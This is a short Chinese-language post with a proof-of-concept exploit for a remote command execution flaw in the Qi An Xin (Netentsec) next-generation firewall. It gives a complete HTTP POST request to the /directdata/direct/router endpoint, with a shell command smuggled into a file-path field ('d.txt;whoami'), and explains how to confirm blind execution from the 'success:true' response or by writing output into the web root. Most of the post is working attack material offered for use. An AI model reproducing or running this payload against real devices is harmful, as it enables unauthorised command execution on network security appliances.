漏洞信息:
漏洞名称:奇安信 网康下一代防火墙 RCE漏洞。
漏洞性质:远程命令执行
漏洞利用特点:命令执行之后没有回显
利用方式:防火墙使用linux进行开发的,可以使用echo xxx >123.txt这样的方式写入文件。 当文件生成目录在网站根目录下就可以直接访问了。
POC
POST /directdata/direct/router HTTP/1.1 Host: x.x.x.x Connection: close Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://x.x.x.x/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Content-Length: 178 {"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;whoami"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
注意POS路径
POST /directdata/direct/router
和命令执行这段
{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;whoami"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
命令结果不回显,但可以看返回代码确认执行成功与否
[{"type":"rpc","tid":17,"action":"SSLVPN_Resource","method":"deleteImage","result":{"success":true}}]
看到带true字样就是命令执行成功。
另外注意这个是命令执行漏洞,所以不懂liunx命令的不要轻易尝试。
测试有四种payload
也就是增删查改四种。
这里就不写了。
再详细的,行内人士表明身份可以咨询。